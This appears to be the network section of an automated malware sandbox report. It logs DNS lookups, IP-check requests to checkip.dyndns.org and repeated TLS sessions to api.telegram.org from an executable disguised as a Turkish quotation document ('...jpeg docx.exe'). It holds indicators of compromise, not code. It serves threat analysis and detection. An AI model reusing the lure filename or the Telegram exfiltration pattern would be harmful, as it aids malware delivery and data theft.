Jan 6, 2025 14:00:52.255132914 CET	62772	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:52.255239964 CET	443	62772	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:52.255400896 CET	62772	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:52.257750988 CET	62774	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:52.257786989 CET	443	62774	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:52.257853031 CET	62774	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:52.258068085 CET	62774	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:52.258079052 CET	443	62774	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:52.867374897 CET	443	62774	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:52.867458105 CET	62774	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:52.871927023 CET	62774	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:52.871942997 CET	443	62774	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:52.872205973 CET	443	62774	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:52.942430973 CET	62774	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:53.633199930 CET	62774	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:53.633328915 CET	443	62774	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:53.633414984 CET	62774	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:53.635777950 CET	62776	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:53.635829926 CET	443	62776	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:53.635898113 CET	62776	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:53.647769928 CET	62777	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:53.647815943 CET	443	62777	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:53.647890091 CET	62777	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:53.648122072 CET	62777	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:53.648138046 CET	443	62777	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:54.272382975 CET	443	62777	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:54.272820950 CET	62777	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:54.273982048 CET	62777	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:54.273994923 CET	443	62777	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:54.274239063 CET	443	62777	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:54.444545984 CET	62777	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:55.006299019 CET	62777	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:55.006426096 CET	443	62777	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:55.006481886 CET	62777	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:55.006779909 CET	62776	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:55.009785891 CET	62779	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:55.009812117 CET	443	62779	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:55.009857893 CET	62779	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:55.010215044 CET	62779	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:55.010229111 CET	443	62779	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:55.620096922 CET	443	62779	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:55.620173931 CET	62779	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:55.622582912 CET	62779	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:55.622595072 CET	443	62779	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:55.622886896 CET	443	62779	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:55.736538887 CET	62779	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:56.400163889 CET	62779	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:56.400255919 CET	443	62779	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:56.400434971 CET	62779	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:56.402961016 CET	62781	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:56.403000116 CET	443	62781	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:56.403080940 CET	62781	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:56.403354883 CET	62781	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:56.403362036 CET	443	62781	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:57.015857935 CET	443	62781	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:57.015930891 CET	62781	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:57.018286943 CET	62781	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:57.018295050 CET	443	62781	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:57.018527031 CET	443	62781	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:57.223341942 CET	443	62781	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:57.223443985 CET	62781	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:57.735308886 CET	62781	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:57.735389948 CET	443	62781	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:57.735459089 CET	62781	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:57.737795115 CET	62783	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:57.737828970 CET	443	62783	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:57.737900972 CET	62783	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:57.738184929 CET	62783	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:57.738193989 CET	443	62783	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:58.359190941 CET	443	62783	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:58.359261990 CET	62783	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:58.361702919 CET	62783	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:58.361713886 CET	443	62783	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:58.361952066 CET	443	62783	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:58.426937103 CET	62783	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:59.104480028 CET	62783	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:59.104556084 CET	443	62783	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:59.104783058 CET	443	62783	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:59.104835987 CET	62783	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:59.104856014 CET	62783	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:59.106868982 CET	62786	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:59.106894016 CET	443	62786	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:59.106957912 CET	62786	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:59.107171059 CET	62786	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:59.107177973 CET	443	62786	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:59.741229057 CET	443	62786	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:59.741303921 CET	62786	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:59.743844986 CET	62786	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:59.743858099 CET	443	62786	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:59.744124889 CET	443	62786	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:59.946535110 CET	62786	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:01:00.489943027 CET	62786	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:01:00.490020037 CET	443	62786	149.154.167.220	192.168.2.6
Jan 6, 2025 14:01:00.490071058 CET	62786	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:01:00.492719889 CET	62788	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:01:00.492760897 CET	443	62788	149.154.167.220	192.168.2.6
Jan 6, 2025 14:01:00.492902994 CET	62788	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:01:00.493110895 CET	62788	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:01:00.493127108 CET	443	62788	149.154.167.220	192.168.2.6
Jan 6, 2025 14:01:01.133147001 CET	443	62788	149.154.167.220	192.168.2.6
Jan 6, 2025 14:01:01.133220911 CET	62788	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:01:01.135438919 CET	62788	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:01:01.135454893 CET	443	62788	149.154.167.220	192.168.2.6
Jan 6, 2025 14:01:01.135678053 CET	443	62788	149.154.167.220	192.168.2.6
Jan 6, 2025 14:01:01.239295959 CET	62788	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:01:01.844269991 CET	62788	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:01:01.844363928 CET	443	62788	149.154.167.220	192.168.2.6
Jan 6, 2025 14:01:01.844434977 CET	62788	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:01:01.846546888 CET	62790	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:01:01.846584082 CET	443	62790	149.154.167.220	192.168.2.6
Jan 6, 2025 14:01:01.846662998 CET	62790	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:01:01.846875906 CET	62790	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:01:01.846890926 CET	443	62790	149.154.167.220	192.168.2.6
Jan 6, 2025 14:01:02.475033045 CET	443	62790	149.154.167.220	192.168.2.6
Jan 6, 2025 14:01:02.475112915 CET	62790	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:01:03.609689951 CET	62790	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:01:03.609746933 CET	443	62790	149.154.167.220	192.168.2.6
Jan 6, 2025 14:01:03.610125065 CET	443	62790	149.154.167.220	192.168.2.6
Jan 6, 2025 14:01:03.622606993 CET	62790	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:01:03.663343906 CET	443	62790	149.154.167.220	192.168.2.6
Jan 6, 2025 14:01:03.663443089 CET	62790	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:01:03.663456917 CET	443	62790	149.154.167.220	192.168.2.6
Jan 6, 2025 14:01:03.956444025 CET	443	62790	149.154.167.220	192.168.2.6
Jan 6, 2025 14:01:03.957154036 CET	443	62790	149.154.167.220	192.168.2.6
Jan 6, 2025 14:01:03.958492994 CET	62790	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:01:03.958776951 CET	62790	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:01:03.960211992 CET	62791	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:01:03.960249901 CET	443	62791	149.154.167.220	192.168.2.6
Jan 6, 2025 14:01:03.960340023 CET	62791	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:01:03.960534096 CET	62791	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:01:03.960547924 CET	443	62791	149.154.167.220	192.168.2.6
Jan 6, 2025 14:01:04.574630976 CET	443	62791	149.154.167.220	192.168.2.6
Jan 6, 2025 14:01:04.577902079 CET	62791	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:01:04.577918053 CET	443	62791	149.154.167.220	192.168.2.6
Jan 6, 2025 14:01:04.577996969 CET	62791	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:01:04.578003883 CET	443	62791	149.154.167.220	192.168.2.6
Jan 6, 2025 14:01:04.857637882 CET	443	62791	149.154.167.220	192.168.2.6
Jan 6, 2025 14:01:04.857713938 CET	443	62791	149.154.167.220	192.168.2.6
Jan 6, 2025 14:01:04.857902050 CET	62791	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:01:04.858324051 CET	62791	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:01:04.859536886 CET	62792	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:01:04.859574080 CET	443	62792	149.154.167.220	192.168.2.6
Jan 6, 2025 14:01:04.860833883 CET	62792	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:01:04.861036062 CET	62792	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:01:04.861053944 CET	443	62792	149.154.167.220	192.168.2.6
Jan 6, 2025 14:01:05.466577053 CET	443	62792	149.154.167.220	192.168.2.6
Jan 6, 2025 14:01:05.520575047 CET	62792	443	192.168.2.6	149.154.167.220

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 6, 2025 13:56:58.304697990 CET	58169	53	192.168.2.6	1.1.1.1
Jan 6, 2025 13:56:58.605773926 CET	53	58169	1.1.1.1	192.168.2.6
Jan 6, 2025 13:57:00.237109900 CET	54254	53	192.168.2.6	1.1.1.1
Jan 6, 2025 13:57:00.244384050 CET	53	54254	1.1.1.1	192.168.2.6
Jan 6, 2025 13:57:11.217032909 CET	50245	53	192.168.2.6	1.1.1.1
Jan 6, 2025 13:57:11.223798990 CET	53	50245	1.1.1.1	192.168.2.6
Jan 6, 2025 13:57:39.011596918 CET	53	49751	162.159.36.2	192.168.2.6
Jan 6, 2025 13:57:39.509922028 CET	53	54043	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 6, 2025 13:56:58.304697990 CET	192.168.2.6	1.1.1.1	0x6c06	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Jan 6, 2025 13:57:00.237109900 CET	192.168.2.6	1.1.1.1	0xb088	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Jan 6, 2025 13:57:11.217032909 CET	192.168.2.6	1.1.1.1	0xf5ef	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 6, 2025 13:56:58.605773926 CET	1.1.1.1	192.168.2.6	0x6c06	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 6, 2025 13:56:58.605773926 CET	1.1.1.1	192.168.2.6	0x6c06	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Jan 6, 2025 13:56:58.605773926 CET	1.1.1.1	192.168.2.6	0x6c06	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Jan 6, 2025 13:56:58.605773926 CET	1.1.1.1	192.168.2.6	0x6c06	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Jan 6, 2025 13:56:58.605773926 CET	1.1.1.1	192.168.2.6	0x6c06	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Jan 6, 2025 13:56:58.605773926 CET	1.1.1.1	192.168.2.6	0x6c06	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Jan 6, 2025 13:57:00.244384050 CET	1.1.1.1	192.168.2.6	0xb088	No error (0)	reallyfreegeoip.org		188.114.96.3	A (IP address)	IN (0x0001)	false
Jan 6, 2025 13:57:00.244384050 CET	1.1.1.1	192.168.2.6	0xb088	No error (0)	reallyfreegeoip.org		188.114.97.3	A (IP address)	IN (0x0001)	false
Jan 6, 2025 13:57:11.223798990 CET	1.1.1.1	192.168.2.6	0xf5ef	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false
Jan 6, 2025 13:57:14.468866110 CET	1.1.1.1	192.168.2.6	0xa057	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 6, 2025 13:57:14.468866110 CET	1.1.1.1	192.168.2.6	0xa057	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 6, 2025 13:58:14.032192945 CET	1.1.1.1	192.168.2.6	0xd078	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 6, 2025 13:58:14.032192945 CET	1.1.1.1	192.168.2.6	0xd078	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 6, 2025 14:00:10.428888083 CET	1.1.1.1	192.168.2.6	0x2ce8	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 6, 2025 14:00:10.428888083 CET	1.1.1.1	192.168.2.6	0x2ce8	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 6, 2025 14:00:55.698012114 CET	1.1.1.1	192.168.2.6	0x2f23	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 6, 2025 14:00:55.698012114 CET	1.1.1.1	192.168.2.6	0x2f23	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

reallyfreegeoip.org

api.telegram.org

checkip.dyndns.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49712	158.101.44.242	80	2820	C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe

Timestamp	Bytes transferred	Direction	Data
Jan 6, 2025 13:56:58.618415117 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 6, 2025 13:56:59.612766027 CET	321	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 12:56:59 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 8055c3f68b8b9cba5ea6f5858f626f8e Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
Jan 6, 2025 13:56:59.618300915 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jan 6, 2025 13:57:00.186743975 CET	321	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 12:57:00 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 4fbc8e1ff1dad3cba102a1ece1b499be Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
Jan 6, 2025 13:57:01.129899979 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jan 6, 2025 13:57:01.331034899 CET	321	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 12:57:01 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 36e3ba012df0cffcde3cf699da3903ba Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49717	158.101.44.242	80	2820	C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe

Timestamp	Bytes transferred	Direction	Data
Jan 6, 2025 13:57:01.957396030 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jan 6, 2025 13:57:02.541110039 CET	321	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 12:57:02 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: f370b8fcc970d1acfe769d22721b0a7d Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49720	158.101.44.242	80	2820	C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe

Timestamp	Bytes transferred	Direction	Data
Jan 6, 2025 13:57:03.210275888 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 6, 2025 13:57:03.790281057 CET	321	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 12:57:03 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: febb25787e21b5f4821051c04236a50c Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49723	158.101.44.242	80	2820	C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe

Timestamp	Bytes transferred	Direction	Data
Jan 6, 2025 13:57:04.451102018 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 6, 2025 13:57:05.822734118 CET	321	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 12:57:05 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: bfc1e0accbda235f7af38d95c594984f Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49735	158.101.44.242	80	2820	C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe

Timestamp	Bytes transferred	Direction	Data
Jan 6, 2025 13:57:06.436932087 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 6, 2025 13:57:06.997409105 CET	321	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 12:57:06 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: c3443d66a17dd0fd109f1624f40e1cf7 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49747	158.101.44.242	80	2820	C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe

Timestamp	Bytes transferred	Direction	Data
Jan 6, 2025 13:57:07.635587931 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 6, 2025 13:57:08.216767073 CET	321	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 12:57:08 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 0dbcd9e1a318ea789258768984e11ddc Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49754	158.101.44.242	80	2820	C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe

Timestamp	Bytes transferred	Direction	Data
Jan 6, 2025 13:57:08.852046967 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 6, 2025 13:57:09.423397064 CET	321	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 12:57:09 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 313685f9476528538dd61d4e7f4aaa51 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49767	158.101.44.242	80	2820	C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe

Timestamp	Bytes transferred	Direction	Data
